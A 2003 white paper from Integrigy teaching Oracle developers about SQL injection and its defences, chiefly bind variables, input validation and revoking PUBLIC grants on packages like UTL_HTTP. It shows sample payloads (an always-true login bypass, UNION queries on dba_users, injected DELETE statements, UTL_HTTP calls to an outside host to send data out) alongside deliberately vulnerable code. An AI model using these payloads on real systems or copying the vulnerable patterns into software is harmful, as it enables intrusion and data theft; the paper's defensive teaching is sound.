An Introduction to SQL Injection Attacks for Oracle Developers

April 2003

Mission Critical Applications…
…Mission Critical Security

An Introduction to SQL Injection Attacks for Oracle Developers
April 2003 (Updated June 2003)

Author: Stephen Kost

If you have any comments or suggestions regarding this document, please send them via e-mail to alerts@integrigy.com.

About Integrigy Corporation (www.integrigy.com)

Integrigy Corporation is a leader in application security for large enterprise, mission critical applications. Our application vulnerability assessment tool, AppSentry, assists companies in securing their largest and most important applications. Integrigy Consulting offers security assessment services for leading ERP and CRM applications.

Integrigy Corporation
2052 Lincoln Park West, Suite 1612
Chicago, Illinois 60614 USA
888/542-4802
www.integrigy.com

Table of Contents

1

Introduction

Summary

Most application developers underestimate the risk of SQL injections attacks against web applications that use Oracle as the back-end database. Our audits of custom web applications show many application developers do not fully understand the risk of SQL injection attacks and simple techniques used to prevent such attacks.

This paper is intended for application developers, database administrators, and application auditors to highlight the risk of SQL injection attacks and demonstrate why web applications may be vulnerable. It is not intended to be a tutorial on executing SQL attacks and does not provide instructions on executing these attacks.

SQL Injection Overview

SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database. The principles behind a SQL injection are simple and these types of attacks are easy to execute and master.

We believe web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Our application audits have found many web applications vulnerable to SQL injection even though well established coding standards were in place during development of many of these applications. Function-based SQL injection attacks are of most concern since these attacks do not require knowledge of the application and can be easily automated.

Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used.

SQL Injection: Oracle versus Other Databases

Oracle has generally faired well against SQL injection attacks as there is no multiple SQL statement support (SQL Server and PostgreSQL), no EXECUTE statement (SQL Server), and no INTO OUTFILE function (MySQL). Also, use of bind variables in Oracle environments for performance reasons provides strong protection against SQL injection attacks.

Oracle may provide stronger and more inherent protections against SQL injection attacks than other database, however applications without proper defenses against these types of attacks can be vulnerable. Despite these advantages many web applications are vulnerable to SQL injection attacks.

Application Development

Applications can be developed using many methods for connecting to an Oracle database – some of these methods are more vulnerable to SQL Injection attacks than others. This paper will focus on just a few programming languages and application architectures commonly used for web-based applications, although, the techniques described in this paper should be relevant for most programming languages and application architectures.

This paper will focus on applications that use JDBC for connecting to an Oracle database and PL/SQL as a programming language. We believe these are the two most common programming methods for applications using Oracle as the database.

2

SQL Injection

Introduction

SQL injection attacks are simple in nature – an attacker passes string input to an application in hopes manipulating the SQL statement to his or her advantage. The complexity of the attack involves exploiting a SQL statement that may be unknown to the attacker. Open-source applications and commercial applications delivered with source code are more vulnerable since an attacker can find potentially vulnerable statements prior to an attack.

Categories of SQL Injection Attacks

There are four main categories of SQL Injection attacks against Oracle databases –

1. SQL Manipulation
2. Code Injection
3. Function Call Injection
4. Buffer Overflows

The first two categories, SQL manipulation and code injection, should be well known to the reader, as these are the most commonly described attacks for all types of databases (including SQL Server, MySQL, ProgressSQL, and Oracle).

SQL manipulation involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE.

Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle.

The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks.

Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database.

SQL injection of buffer overflows is a subset of function call injection. In several commercial and open-source databases, vulnerabilities exist in a few database functions that may result in a buffer overflow. Patches are available for most of these vulnerabilities, but many production databases remain un-patched.

What's Vulnerable

A web application is vulnerable to SQL injection for only one reason – end user string input is not properly validated and is passed to a dynamic SQL statement. The string input is usually passed directly to the SQL statement. However, the user input may be stored in the database and later passed to a dynamic SQL statement. Because of the stateless nature of many web applications, it is common to write data to the database between web pages. This indirect type of attack is much more complex and requires in-depth knowledge of the application.

What's Not Vulnerable

SQL Statements using bind variables are generally immune to SQL Injection attacks as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reasons.

3

SQL Injection Methods

There are four types of SQL Injection attacks which work for Oracle databases. The first two types – SQL manipulation and code injection – are well known and documented. However, function call injection and buffer overflow attacks are not well documented and many applications are vulnerable to these types of attacks. All of these types of SQL injection are valid for other databases including SQL Server, DB2, MySQL, and PostgreSQL.

About the Examples in this Chapter

SQL statements are used in this chapter to demonstrate the different types of SQL injection methods. In order to be programming language neutral, only the developer intended and attacker manipulated SQL statements are presented. The portions in blue, italics is a sample of what input the programmer is expecting and what an attacker might actually enter into a string field of the application.

SQL Manipulation

The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the `WHERE` clause or extending the SQL statement with set operators like `UNION, INTERSECT`, or `MINUS`. There are other possible variations, but these are the most significant examples.

The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned –

```
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = 'mypassword'
```

The attacker attempts to manipulate the SQL statement to execute as –

```
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a'
```

Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application.

The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products –

```
SELECT product_name FROM all_products
WHERE product_name like '%Chairs%'
```

The attacker attempts to manipulate the SQL statement to execute as –

```
SELECT product_name FROM all_products
WHERE product_name like '%Chairs'
UNION
SELECT username FROM dba_users
WHERE username like '%'
```

The list returned to the web form will include all the selected products, but also all the database users in the application.

Code Injection

Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks – there is no corresponding statement in Oracle.

In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application. This statement will result in an error –

```
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users
WHERE username = 'admin';
```

However, some programming languages or APIs may allow for multiple SQL statements to be executed.

PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application –

```
BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END;
```

The above example PL/SQL block executes an application stored procedure that encrypts and saves the user's password. An attacker will attempt to manipulate the PL/SQL block to execute as –

```
BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); DELETE FROM users
WHERE upper(username) = upper('admin'); END;
```

Function Call Injection

Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database.

The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a few of these functions may be useful in a SQL injection attack. Some of these functions do perform network activities which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.

Functions executed as part of a SQL SELECT statement can not make any changes to the database unless the function is marked as "PRAGMA TRANSACTION". None of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database.

Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server. Many native Oracle applications leverage database packages which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions.

The issue with function call injection is that any dynamically generated SQL statement is vulnerable. Even the simplest SQL statements can be effectively exploited.

The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.

```
SELECT TRANSLATE('user input',
                 '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
                 '0123456789')
FROM dual;
```

This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as –

```
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
                 '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
                 '0123456789')
FROM dual;
```

The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network.

Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as "PRAGMA TRANSACTION", so it could be executed under any special circumstances that the application might encounter. Since it is marked "PRAGMA TRANSACTION", it can write to the database even in a SELECT statement.

```
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '',
                 '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
                 '0123456789')
FROM dual;
```

Executing the above SQL statement, the attacker is able to create new application users.

Buffer Overflows

Buffer overflows have been identified in the standard functions of several databases. A few standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched database. Known buffer overflows exist in the standard database functions tz_offset, to_timestamp_tz, and bfilename.

Most application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this a very effective denial of service attack.

A buffer overflow attack using tz_offset, to_timestamp_tz, and bfilename is executed using the function injection methods described previously.

4

PL/SQL

Overview

Oracle database stored procedures can be called either directly from the PL/SQL Gateway or using JDBC's ***callablestatement***. The PL/SQL Gateway (modplsql) is Oracle's Apache extension that allows web applications to be developed using database stored procedures. Modplsql is delivered with Oracle9iAS and is used by some commercial applications.

SQL statements can be executed four different ways in PL/SQL – (1) embedded SQL, (2) cursors, (3) ***execute immediate*** statements, or (4) the DBMS_SQL package. Embedded SQL statements and static cursors are compiled and only allow bind variables, however, dynamic cursors may be vulnerable to SQL injection attacks. ***Execute immediate*** and DBMS_SQL permit dynamic SQL, thus are vulnerable to SQL injection attacks.

From a SQL injection perspective, there is little difference between DBMS_SQL and ***execute immediate*** – both statements are equally vulnerable. The DBMS_SQL package is an older method for dynamic SQL and is being replaced by the ***execute immediate*** statement. Some applications may have a combination of DBMS_SQL and ***execute immediate*** statements.

For more detailed information, see the chapter "Native Dynamic SQL" in the Oracle9i *PL/SQL User's Guide and Reference*.

Execute Immediate Statement

The ***execute immediate*** statement is used to execute dynamic SQL in PL/SQL code. The statement fully supports bind variables, but also can be executed using a concatenated string.

The syntax for ***execute immediate*** is –

```
EXECUTE IMMEDIATE dynamic_string
[INTO {define_variable[, define_variable]... | record}]
[USING [IN | OUT | IN OUT] bind_argument
    [, [IN | OUT | IN OUT] bind_argument]...]
[{RETURNING | RETURN} INTO bind_argument[, bind_argument]...];
```

An execute immediate statement subject to SQL injection attacks may be written like –

```
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
   sql VARCHAR2;
   code VARCHAR2;
BEGIN
...
   sql := 'SELECT postal-code FROM states WHERE state-name = ''' || name || '''';
   EXECUTE IMMEDIATE sql INTO code;
   IF code = 'IL' THEN ...
   ...
END;
```

Some readers may question if the SELECT statement in the above code example would be meaningful in a SQL injection attack. It can not be readily exploited by using set operations (e.g., UNION) or by concatenating another SQL statement as this is not permitted by ***execute immediate*** unless a PL/SQL block is used (i.e., BEGIN...END). Manipulating the outcome of the WHERE clause probably won't accomplish much. However, this statement can easily be exploited by inserting standard database functions (i.e., UTL_HTTP) or known functions that may cause buffer overflows.

To prevent SQL injection and to improve application performance, bind variables should always be used.

```
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
   sql VARCHAR2;
   code VARCHAR2;
BEGIN
...
   sql := 'SELECT postal-code FROM states WHERE state-name = :name';
   EXECUTE IMMEDIATE sql USING name INTO code;
   IF code = 'IL' THEN ...
...
END;
```

Execute immediate can be also used for anonymous PL/SQL blocks. Anonymous PL/SQL blocks are more vulnerable to SQL injection attacks since an attacker can insert multiple PL/SQL commands and SQL statements.

```
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS
BEGIN
...
-- vulnerable
EXECUTE IMMEDIATE 'BEGIN updatepass(''' || value || '''); END;';

-- not vulnerable
cmd := 'BEGIN updatepass(:1); END;';
EXECUTE IMMEDIATE cmd USING value;
...
END;
```

DBMS_SQL Package

The DBMS_SQL package allows execution of dynamic SQL statements. This package has been generally replaced by ***execute immediate***, but still may be used in many web applications. DBMS_SQL is more complicated than ***execute immediate***, but performs basically the same function.

Just as with ***execute immediate,*** bind variables should always be used instead of concatenating the SQL string together.

This procedure uses DBMS_SQL and is vulnerable to injection attacks –

```
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
   cursor_name INTEGER;
   rows_processed INTEGER;
   sql VARCHAR2(150);
   code VARCHAR2(2);
BEGIN
   ...
   sql := 'SELECT postal-code FROM states WHERE state-name = ''' || name || '''';
   cursor_name := dbms_sql.open_cursor;
   DBMS_SQL.PARSE(cursor_name, sql, DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
   rows_processed := DBMS_SQL.EXECUTE(cursor_name);
   DBMS_SQL.CLOSE_CURSOR(cursor_name);
   ...
END;
```

The same procedure that uses bind variables is not open to attack –

```
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
   cursor_name INTEGER;
   rows_processed INTEGER;
   sql VARCHAR2;
   code VARCHAR2;
BEGIN
   ...
   sql := 'SELECT postal-code FROM states WHERE state-name = :name';
   cursor_name := dbms_sql.open_cursor;
   DBMS_SQL.PARSE(cursor_name, sql, DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
   DBMS_SQL.BIND_VARIABLE(cursor_name, ':name', name);
   rows_processed := DBMS_SQL.EXECUTE(cursor_name);
   DBMS_SQL.CLOSE_CURSOR(cursor_name);
   ...
END;
```

Dynamic Cursors

PL/SQL allows static and dynamic cursors. Cursor SQL statements can be dynamically generated just as ***execute immediate*** or DBMS_SQL statements can.

```
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
   sql VARCHAR2;
   ...
BEGIN
   ...
   sql := 'SELECT * FROM states WHERE state-name = ''' || name || '''';
   OPEN cursor_states FOR sql;
   LOOP
          FETCH cursor_states INTO rec_state
          EXIT WHEN cursor_states%NOTFOUND;
          ...
   END LOOP;
   CLOSE cursor_status;
   ...
END;
```

Just as with ***execute immediate*** and DBMS_SQL, a bind variable would element any possibility of SQL injection.

5

JDBC

Overview

JDBC (Java Database Connectivity) is a standard Java interface for connecting from Java to relational databases. JDBC is used by most Java development architectures to connect to Oracle databases. Java Server Pages (JSP), Java Servlets, and Enterprise Java Beans (EJB) all use JDBC for database connectivity, as well as many other Java application architectures.

By definition, all SQL statements in a JDBC application are dynamic. Dynamic SQL is executed with the Statement interface, specifically the ***CallableStatement*** and ***PreparedStatement*** subinterfaces. From a SQL injection perspective, both the ***CallableStatement*** and ***PreparedStatement*** interfaces can be exploited. In Oracle, only a single SQL statement will be executed by a ***PreparedStatement*** call. Other databases (e.g., SQL Server) support multiple SQL statements in a single call.

PreparedStatement

The ***PreparedStatement*** interface is used to execute dynamic SQL statements. The standard JDBC ***PreparedStatement*** interface may be used or the ***OraclePreparedStatement*** may be used if Oracle specific data types or other Oracle extensions are required.

A ***PreparedStatement*** that is vulnerable to SQL injection may look something like this –

```
String name = request.getParameter("name");
PreparedStatement pstmt =
      conn.prepareStatement("insert into EMP (ENAME) values ('" + name + "')");

pstmt.execute();
pstmt.close();
```

To prevent SQL injection, a bind variable must be used –

```
PreparedStatement pstmt =
      conn.prepareStatement ("insert into EMP (ENAME) values (?)");

String name = request.getParameter("name");
pstmt.setString (1, name);

pstmt.execute();
pstmt.close();
```

CallableStatement

The ***CallableStatement*** interface is used to execute PL/SQL stored procedures and anonymous PL/SQL blocks. The standard JDBC ***CallableStatement*** interface may be used or the ***OracleCallableStatement*** may be used if Oracle specific data types or other Oracle extensions are required.

CallableStatement has two basic forms –

Stored Procedure and Function Calls

```
prepareCall( "{call proc (?,?)}" );
```

Anonymous PL/SQL Block Calls

```
prepareCall("begin proc1(?,?); ? := func1(?); ...; end;");
```

The anonymous PL/SQL block call is much more vulnerable to SQL injection attacks since multiple SQL statements and PL/SQL commands can be inserted.

A vulnerable anonymous PL/SQL block is –

```
String name = request.getParameter("name");

String sql = "begin ? := GetPostalCode('" + name + "'); end;";
CallableStatement cs = conn.prepareCall(sql);
cs.registerOutParameter(1, Types.CHAR);
cs.executeUpdate();
String result = cs.getString(1);
cs.close();
```

An attacker could alter the SQL statement from what the developer anticipated –

```
begin ? := GetPostalCode('Illinois'); end;
```

to either of the following statements or many other possibilities –

```
begin ? := GetPostalCode('); delete from users; commit; dummy('); end;
begin ? := GetPostalCode('||UTL_HTTP.REQUEST('http://192.168.1.1/')||'); end;
```

The simple fix is to use a bind variable –

```
String name = request.getParameter("name");

CallableStatement cs = conn.prepareCall ("begin ? := GetStatePostalCode(?); end;");
cs.registerOutParameter(1,Types.CHAR);
cs.setString(2, name);
cs.executeUpdate();
String result = cs.getString(1);
cs.close();
```

6

Protecting against SQL Injection

SQL Injection attacks can be easily defeated with simple programming changes, however, developers must be disciplined enough to apply the following methods to every web accessible procedure and function. Every dynamic SQL statement must be protected. A single unprotected SQL statement can result in comprising of the application, data, or database server.

Bind Variables

The most powerful protection against SQL injection attacks is the use of bind variables. Using bind variables will also improve application performance. Application coding standards should require the use of bind variables in all SQL statements. No SQL statement should be created by concatenating together strings and passed parameters.

Bind variables should be used for every SQL statement regardless of when or where the SQL statement is executed. This is Oracle's internal coding standard and should also be your organization's standard. A very complex SQL injection attack could possibly exploit an application by storing an attack string in the database, which would be later executed by a dynamic SQL statement.

The previous chapters on PL/SQL and JDBC demonstrated how to effectively use bind variables to eliminate SQL injection vulnerabilities. The use of bind variables is simple, but does require at least one more line of code per variable. Since a typical SQL statement is using 10-20 values, the additional coding effort may be substantial.

There are a few rare occasions when a developer must dynamically create a SQL statement. These exceptions are detailed in the next chapter.

Input Validation

Every passed string parameter should be validated. Many web applications use hidden fields and other techniques, which also must be validated. If a bind variable is not being used, special database characters must be removed or escaped.

For Oracle databases, the only character at issue is a single quote. The simplest method is to escape all single quotes – Oracle interprets consecutive single quotes as a literal single quote.

The use of bind variables and escaping of single quotes should not be done for the same string. A bind variable will store the exact input string in the database and escaping any single quotes will result in double quotes being stored in the database.

Function Security

Standard and custom database functions can be exploited in SQL injection attacks. Many of these functions can be used effectively in an attack. Oracle is delivered with hundreds of standard functions and by default all have grants to PUBLIC. The application may have additional functions which perform operations like changing passwords or creating users that could be exploited.

All functions that are not absolutely necessary to the application should be restricted.

Chapter 8 provides detailed information on determining the functions a database user may access and the functions that should be restricted.

Error Messages

If an attacker can not obtain the source code for an application, error messages become critically important for a successful attack. Most Java applications do not return detailed error messages. Testing and analysis should be performed to determine if the application returns detailed error messages.

PL/SQL Gateway (modplsql)

The PL/SQL Gateway can be configured to display varying levels of error messages. The more information returned in an error message, the more useful the message is to an attacker. All PL/SQL Gateway applications should be designed to return an application generated error page when an Oracle error is encountered rather than allowing the gateway to return an error message.

However, some errors like procedure not found must be returned by the gateway. The ERROR_STYLE setting in the "wdbsvr.app" configuration file determines the level of information returned to the user. Since these types of errors are most likely caused by an attacker rather than errors in normal application processing, only minimal or no information should be returned. The ERROR_STYLE parameter should be set to "WebServer" instead of "Gateway" or "GatewayDebug". ERROR_STYLE can be set at either the global or DAD level, so both sections of the configuration file must be checked.

7

Common Exceptions

Bind variables should be used for all dynamic SQL statements in PL/SQL and Java. Although, on rare occasions bind variables can not be used.

Dynamic Table Names and Where Clauses

When generating a dynamic SQL statement, bind variables can not be used for the table name or column names. Valid database object names (i.e., table and column names) can contain only alphanumeric characters and the underscore (_), dollar sign ($), and pound sign (#). Quotes (single and double) and other special characters are not valid.

Any dynamic table or column name should be validated and all invalid characters should be stripped from the string.

In PL/SQL, the TRANSLATE function can be used to easily removed invalid characters from an object name –

```
translate(upper(<input string>),
     'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@. `~!%^*()-=+{}[];":''?/><,|\',
     'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.');
```

Like Clauses

Bind variables are valid in a LIKE clause and should be used. % and _ characters should be directly appended to the string rather than concatenating the SQL statement.

The following concatenation should not be used –

```
String name = request.getParameter("name");
conn.prepareStatement("SELECT id FROM users WHERE name LIKE '%" + name + "%'");
```

Rather multiple statements and a bind variable are required to properly create the SQL statement –

```
String name = request.getParameter("name");
name = query.append("%").append(name).append("%");

pstmt = conn.prepareStatement("SELECT id FROM users WHERE name LIKE ?");
pstmt.setString (1, name);
```

Dynamic Procedure and Function Calls

When generating a dynamically generated procedure or function call, a bind variable can not be used for the procedure or function name. Valid database object names (procedure and function names) can contain only alphanumeric characters and the underscore (_), dollar sign ($), and pound sign (#). Period (.) and at sign (@) are used to specify package names and database links. Quotes (single and double) and other special characters are not valid.

Any dynamically called procedure or function should be validated and all invalid characters should be stripped from the string.

In PL/SQL, the TRANSLATE function can be used to easily removed invalid characters from an object name –

```
translate(upper(<input string>),
     'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@. `~!%^*()-=+{}[];":''?/><,|\',
     'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.');
```

8

Oracle Functions

By default, Oracle supplies over 1,000 functions in about 175 standard database packages. Most of these functions have PUBLIC grants.

Determine Function Privileges

All the available functions for PUBLIC can be found with the following query –

```
select *
from dba_tab_privs p, all_arguments a
where grantee = 'PUBLIC'
and privilege = 'EXECUTE'
and p.table_name = a.package_name
and p.owner = a.owner
and a.position = 0
and a.in_out = 'OUT'
order by p.owner, p.table_name, p.grantee
```

Restricting Access to Functions

Access to specific functions within a package can not be restricted – only access to the entire package. To revoke PUBLIC access to a package use the following SQL command as a privileged database user –

```
REVOKE EXECUTE ON <package_name> FROM public
```

As an example, to revoke access to the UTL_HTTP package the command is –

```
REVOKE EXECUTE ON sys.utl_http FROM public
```

Standard Functions

Buffer overflows have been discovered in three standard Oracle database functions: bfilename, TZ_OFFSET, and TO_TIMESTAMP_TZ. These functions reside in the STANDARD database package and there is no way to restrict access to these functions. To stop buffer attacks, you must apply the patches described in Oracle Security Alerts # 48, 49, and 50.

Oracle Supplied Functions

Oracle supplies hundreds of functions in standard database packages. Many of these packages are prefixed with DBMS_ and UTL_.

The following packages should be reviewed. If the package is not used by the application, access should be restricted.

DBMS_JAVA_TEST
DBMS_LOCK
DBMS_PIPE
DBMS_RANDOM
UTL_FILE
UTL_HTTP
UTL_SMTP
UTL_TCP

Additional information regarding the Oracle supplied packages can be found in the *Oracle9i Supplied PL/SQL Packages Reference.*

Custom Application Functions

Functions and functions within packages written for the application can also be exploited by a SQL injection attack.

Access to all custom functions should be reviewed to determine –

1. Does the web application need access to this function?
2. If the function is exploited, what is the impact to the application?
3. Is the function marked as "PRAGMA TRANSACTION"? These functions can be executed and write to the database from a SELECT statement.

9

References

"Using Database Functions in SQL Injection Attacks"
http://www.integrigy.com/resources.htm

"OWASP – A Guide to Building Secure Web Applications"
http://umn.dl.sourceforge.net/sourceforge/owasp/OWASPGuideV1.1.1.pdf

"Introduction to Database and Application Worms"
http://www.appsecinc.com/presentations/DB_APP_WORMS.pdf

Additional Information on SQL Injection Attacks –
http://www.securityfocus.com/infocus/1644
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Oracle Database Security Checklist –
http://otn.oracle.com/deploy/security/oracle9i/pdf/9ir2_checklist.pdf

Oracle Function Buffer Overflows –
http://technet.oracle.com/deploy/security/pdf/2003alert48.pdf
http://technet.oracle.com/deploy/security/pdf/2003alert49.pdf
http://technet.oracle.com/deploy/security/pdf/2003alert50.pdf
http://www.nextgenss.com/advisories/ora-tzofstbo.txt
http://www.nextgenss.com/advisories/ora-bfilebo.txt
http://www.nextgenss.com/advisories/ora-tmstmpbo.txt